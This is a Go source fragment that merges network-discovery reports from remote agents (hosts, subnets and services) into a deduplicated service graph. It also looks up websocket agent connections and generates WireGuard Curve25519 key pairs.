func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) {
	var payload agentDiscoverPayload
	raw = strings.TrimSpace(raw)
	if idx := strings.Index(raw, "{"); idx > 0 {
		raw = raw[idx:]
	}
	err := json.Unmarshal([]byte(raw), &payload)
	return payload, err
}

func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost {
	out := make(map[string]ServiceGraphHost)
	addHost := func(host ServiceGraphHost) {
		hostKey := strings.TrimSpace(host.Host)
		if hostKey == "" {
			return
		}
		host.AgentID = agentID
		existing, ok := out[hostKey]
		if !ok {
			host.Services = dedupeServiceEntries(host.Services)
			out[hostKey] = host
			return
		}
		if existing.Subnet == "" && host.Subnet != "" {
			existing.Subnet = host.Subnet
		}
		if existing.AgentID == "" {
			existing.AgentID = agentID
		}
		existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
		out[hostKey] = existing
	}

	local := payload.Local
	local.AgentID = agentID
	addHost(local)
	for _, lan := range payload.LANHosts {
		addHost(lan)
	}
	return out
}

func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost {
	if base == nil {
		base = make(map[string]ServiceGraphHost)
	}
	for hostKey, host := range delta {
		existing, ok := base[hostKey]
		if !ok {
			dup := host
			dup.Services = dedupeServiceEntries(dup.Services)
			base[hostKey] = dup
			continue
		}
		if existing.Subnet == "" && host.Subnet != "" {
			existing.Subnet = host.Subnet
		}
		if existing.AgentID == "" && host.AgentID != "" {
			existing.AgentID = host.AgentID
		}
		existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
		base[hostKey] = existing
	}
	return base
}

func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
	seen := make(map[string]bool, len(in))
	out := make([]ServiceGraphEntry, 0, len(in))
	for _, e := range in {
		key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source
		if seen[key] {
			continue
		}
		seen[key] = true
		out = append(out, e)
	}
	return out
}

func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost {
	if len(m) == 0 {
		return nil
	}
	out := make([]ServiceGraphHost, 0, len(m))
	for _, host := range m {
		out = append(out, host)
	}
	return out
}

func formatDiscoveredAt(t *time.Time) string {
	if t == nil {
		return ""
	}
	return t.UTC().Format(time.RFC3339)
}

// getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agents[id]
}

func generateServerWGKeyPair() (privB64, pubB64 string, err error) {
	var priv [32]byte
	if _, err = rand.Read(priv[:]); err != nil {
		return
	}
	priv[0] &= 248
	priv[31] &= 127
	priv[31] |= 64
	var pub [32]byte
	curve25519.ScalarBaseMult(&pub, &priv)
	privB64 = base64.StdEncoding.EncodeToString(priv[:])
	pubB64 = base64.StdEncoding.EncodeToString(pub[:])
	return
}